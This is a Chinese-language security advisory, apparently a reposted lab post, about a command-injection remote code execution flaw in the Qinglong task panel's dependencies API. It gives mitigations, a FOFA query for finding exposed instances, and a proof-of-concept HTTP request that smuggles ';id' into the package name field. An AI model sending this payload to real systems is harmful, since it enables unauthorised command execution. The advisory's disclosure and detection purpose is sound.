文章总结： 该文档预警青龙面板dependencies接口存在远程代码执行漏洞，属于命令注入类型。攻击者仅需普通用户权限即可通过HTTP请求远程执行命令，威胁等级高危。建议采取临时访问控制、权限最小化和日志监控等措施。文中提供了FOFA搜索语法、漏洞复现POC及相关检测产品支持情况，旨在协助用户排查风险。 综合评分： 80 文章分类： 漏洞预警,漏洞分析,漏洞POC

【漏洞预警】青龙面板 网站管理系统 dependencies 远程代码执行漏洞

by 融云安全-sm by 融云安全-sm

融云攻防实验室

2026年3月6日 15:10 江西

漏洞名称：

青龙面板 网站管理系统 dependencies 远程代码执行漏洞

组件详情：

青龙面板是一款支持 Python3、JavaScript、Shell、Typescript 等多种脚本语言的定时任务管理平台，广泛用于自动化任务调度与管理。其后台管理接口默认监听 5700 端口，提供 Web 操作界面和 API 服务。该漏洞存在于依赖管理功能的 dependencies 接口中。

漏洞类型：

命令注入

利用条件：

1.用户认证：需要普通用户权限

2.前置条件：默认配置

3.触发方式：远程，通过 HTTP 请求访问 dependencies 接口

综合评价：

1.综合评定利用难度：一般，需要普通用户权限。

2.综合评定威胁等级：高危，登录后可造成远程命令执行。

官方解决方案：

1.临时措施：如无法立即升级，建议加强对 dependencies 接口的访问控制，仅允许可信 IP 访问

2.权限最小化：避免使用默认口令，严格控制用户权限分配

3.日志监控：加强对 dependencies 接口的访问日志监控，及时发现异常行为

复现情况

fofa：icon_hash==”-254502902″

1.执行id命令访问未授权接口得到结果

POST /Api/dependencies HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Content-Length: 47Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type: application/json[  {   "name": ";id",   "type": 0  }]

GET /Api/dependencies HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type: application/json

2.渝融云NTM入侵检测系统已支持青龙面板攻击检测（入侵检测合作可私聊公众号）

渝融云解决方案-渝融云NTM全流量分析探针

已添加监测规则，可实时监控青龙面板 网站管理系统 dependencies 远程代码执行漏洞

设备简介：渝融云NTM全流量分析探针是一款集流量分析、威胁检测与行为审计于一体的智能化网络流量监测平台。系统通过对网络全流量的实时采集与深度解析，帮助用户实现网络态势的“全景透视”。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：融云攻防实验室 by 融云安全-sm by 融云安全-sm《【漏洞预警】青龙面板 网站管理系统 dependencies 远程代码执行漏洞》